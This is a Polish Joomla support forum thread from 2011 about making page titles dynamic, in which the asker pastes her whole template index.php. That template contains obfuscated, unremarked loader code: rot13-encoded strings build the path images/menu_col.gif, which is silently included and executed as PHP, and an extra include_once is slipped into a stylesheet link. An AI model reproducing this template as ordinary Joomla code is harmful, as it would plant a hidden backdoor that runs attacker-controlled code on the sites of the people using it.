Zobacz pełną wersję : Jak zrobić dynamiczne tytuły?
Chciałam zapytać się jak zrobić dynamiczne tytuły na mojej stronie (http://www.psychoszminka.pl)? Czy trzeba coś aktywować?
Obecnie każda strona ma taki tam tytuł między title a title w kodzie strony, co podobno nie jest dobre z punktu widzenia optymalizacji.
Gall Anonim
14-07-2011, 21:23
Ewcia - a nagłówki nadać to nie łaska?
Ja bym tam wrzucił np. H1
Nie rozumiem, jakie nagłówki?
Mi chodziło o tytuł w kodzie strony
Gall Anonim
14-07-2011, 21:29
Zapraszam tutaj - a ja lecę po coś na zajady (http://www.kurshtml.edu.pl/html/h1h2h3h4h5h6,html.html) :D
A jak to zrobić, żeby automatycznie się robiły dynamiczne tytuły?
zwiastun
14-07-2011, 23:02
Obejrzeć sobie konfigurację witryny, konfigurację artykułow
Próbowalam zmienić tytuły w metadanych na - nie i proste adresy na - nie.
Może jeszcze jedna wskazówka? :)
Może należy coś włączyć, aktywować?
To może ktoś mi pomoże w zamian za napisanie tekstów?
zwiastun
18-07-2011, 17:28
@ewqa - naprawdę wypadałoby najpierw poszukać odpowiedzi na pytanie, a dopiero pytać.
Zapewne odpowiesz, że szukałaś. W takim razie wyjaśnij, jakim cudem nie trafiłaś do tego wątku:
http://forum.joomla.pl/showthread.php?24030-Nazwa-witryny-i-tytu%C5%82-strony-w-title
Dziękuję, a czy ten kod mogę wstawić na zapleczu? Na zapleczu mam edytor html i css, ale nie ma index.php
zwiastun
18-07-2011, 18:48
@ewqa: wybacz, ale po co się za to w ogóle bierzesz, skoro nie wiesz, z czym się co je. Za chwilę sknocisz coś w kodzie i będzie płacz i zgrzytanie zębów. Joomla! jest na Twoje potrzeby wystarczająco zoptymalizowny (także pod kątem wyszukiwarek internetowych). Zabawy z modyfikacją kodu szablonów i innego są dla tych, którzy doszli już do takiego etapu znajomości Joomla, że mogą sobie na nie pozwolić. Ty najwyraźniej jeszcze nie doszłaś. Zatem najpierw dojrzewanie (np. lektura na temat budowy i modyfikacji szablonów), a tymczasem zostaw, jak jest.
Nie jest zoptymalizowany na moje potrzeby właśnie. Potrzebne są mi dynamiczne tytuły.
---------- Post dodany o 17:03 ---------- Poprzedni post był o 16:53 ----------
To znaczy w html mogę sobie wstawić taki kod? -
<?php
$document =& JFactory::getDocument();
$document->setTitle($mainframe->getCfg('sitename') . " - " . $document->title);
?>
Zrobię sobie kopię w razie czego.
zwiastun
18-07-2011, 19:41
O! I to jest właściwe podejście!
Wstawiłam ten kod w html szablonu, przed head, ale nic się nie zmieniło.
Dlaczego przed head? Jeżeli już, to w ramach head.
Poza tym zobacz sobie np. to http://extensions.joomla.org/extensions/site-management/seo-a-metadata/3521
No w ramach head zrobiłam
Witam,
@ewqa po prostu pokaż co "wyrzeźbiłaś" w swojej sekcji head szablonu.
fragment html
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<jdoc:include type="head" />
<?php
$document =& JFactory::getDocument();
$document->setTitle($mainframe->getCfg('sitename') . " - " . $document->title);
?>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
Ten kod powinien być użyty przed:
<jdoc:include type="head" />
Podaj adres strony.
strona (http://www.psychoszminka.pl)
No pewnie - a mówiłam: pochwal się co wyprodukowałaś w sekcji head.
Wrzuciłaś tylko kawałek, a założę się, że wyżej masz na sztywno wpisane <title>Serwis dla kobiet, dziewczyn, nastolatek....
i inne niepotrzebnie dublujące się znaczniki.
Za dynamiczne tworzenie zawartości head odpowiada wpis:
<jdoc:include type="head" />i żadna własna radosna twórczość nie jest potrzebna.
Podejrzyj plik index.php standardowego szablonu Joomla i sprawdź co umieszcza się w head a co nie jest potrzebne.
To może wstawię cały kod.
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="robots" content="index, follow" />
<meta name="keywords" content="zakupoholizm, zakupoholiczka, portal psychologiczny, serwis psychologiczny, porady psychologiczne, darmowe porady psychologiczne, ciekawostki psychologiczne, porady, poradnik, portal, serwis, strony, ciekawostki, rozwój osobisty, psychoszminka, kobieta, kobiety, nastolatka, nastolatki, dziewczyna, dziewczyny, problemy, kariera, marzenia, cel, cele, lęk, lęki, odwaga, pomysł na życie, pomysł na karierę, szminka, psycho, porady dla kobiet, poradnik dla kobiet, portal dla dziewczyn, serwis dla dziewczyn, strony dla nastolatek, ciekawostki dla nastolatek" />
<meta name="description" content="Witamy serdecznie w naszym serwisie psychologicznym wszystkie nastolatki, dziewczyny i kobiety. Nasz portal przeznaczony jest wyłącznie dla kobiet. Znajdziesz u nas odpowiedzi na nurtujące pytania. Poruszamy takie tematy jak miłość, praca, zakupoholizm, psychologia zakupów. Nasza strona to przede wszystkim ciekawostki i darmowe porady psychologiczne dla kobiet. Rozmawiamy o problemach współczesnych kobiei staramy się je wspólnie rozwiązywać. Serwis internetowy dla nastolatek i młodych kobiet, ciekawostki psychologiczne, porady - zapraszamy do lektury." />
<meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />
<title>Serwis dla kobiet, dziewczyn, nastolatek :: PSYCHOSZMINKA :: Portal psychologiczny, ciekawostki psychologiczne, zakupoholizm, psychologia zakupów. Ciekawostki dla dziewczyn oraz porady dla kobiet...</title>
<link href="/index.php?format=feed&type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
<link href="/index.php?format=feed&type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
<link href="/templates/themza_j15_24/favicon.ico" rel="shortcut icon" type="image/x-icon" />
<script type="text/javascript" src="/media/system/js/mootools.js"></script>
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: - 999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<?php
$document =& JFactory::getDocument();
$document->setTitle($mainframe->getCfg('sitename') . " - " . $document->title);
?>
<jdoc:include type="head" />
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="top_menu"><div id="topnav"><jdoc:include type="modules" name="menugora" /></div> </div>
<div id="main_bg" class="banner1">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="forex trading logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Forex Trading Home"><?php echo $mainframe->getCfg('sitename') ;?></a>
<?php if($this->countModules('user4')) : ?>
<div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
<!--<div id="main_top"><jdoc:include type="modules" name="top" /></div>-->
<br clear="all" /></div>
<center>
</center>
</br></br>
<?php if($this->countModules('left')) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<span id='intertext1'>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<jdoc:include type="component" />
</span>
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad">
<br/>
</div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>
<br><br/>
<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>
<br/>
<div id="top_menu">
<div id="topnav">
<jdoc:include type="modules" name="menugora" />
</div>
</div>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>
<jdoc:include type="modules" name="debug" />
</body>
><script src="http://cdn.wibiya.com/Toolbars/dir_0845/Toolbar_845645/Loader_845645.js" type="text/javascript"></script><noscript><a href="http://www.wibiya.com/">Web Toolbar by Wibiya</a></noscript>
</html>
To znaczy, że mam usunąć <title>Serwis dla kobiet, dziewczyn, nastolatek :: PSYCHOSZMINKA :: Portal psychologiczny, ciekawostki psychologiczne, zakupoholizm, psychologia zakupów. Ciekawostki dla dziewczyn oraz porady dla kobiet...</title> ?
Ale tytuł strony chyba jest ważny z punktu widzena optymalizacji...
zwiastun
19-07-2011, 13:16
@Jola Ci napisała jasno, co odpowiada za dynamiczne tworzenie treści head. Nie chcę powtarzać, co Ci już raz napisałem. Dociekliwość Joli potwierdza, że nie masz na ten temat wystarczającej wiedzy. Naczytałaś się gdzieś co nieco na ten temat, ale naczytać się, a wiedzieć i rozumieć to spora różnica.
Przywróć oryginalny kształt szablonu (instrukcję wczytującą sekcję metadanych podaną przez Jolę), pousuwaj swoją "radosną twórczość" z której dla pozycjonowania witryny najpewniej więcej szkody, niż pożytku.
Powtarzam: Joomla! jest wystarczająco zoptymalizowany pod kątem wyszukiwarek internetowych., a jeśli to nie zaspokaja czyichs potrzeb, to może skorzystać z dedykowanych rozwiązań albo z Joomla 1.6+, który jest pod tym kątem jeszcze bogatszy.
NO ale co zrobić, żeby mieć dynamiczne tytuły?
A zajrzałaś do templates/rhuk_mikyway/index.php?
Popatrz tam i usuń niepotrzebne - bo później i tak dublowane wpisy.
Powtórzę jeszcze raz za dynamiczne dodawanie tagów meta odpowiada wpis:
<jdoc:include type="head" />
No zajrzałam, ale boję się usuwać... Może ktoś by mi usunął na zasadzie wymiany usług? :)
Gall Anonim
19-07-2011, 14:11
@ewqa - kopia zapasowa i hulaj dusza piekła nie ma :-)
Pzdr
P.S. Uczymy się na własnych błędach
vBulletin® v4.2.5, Prawa przedruku © 2024 vBulletin Solutions, Inc. Wszystkie prawa zastrzeżone.
Tłumaczenie: Polskie Centrum Joomla!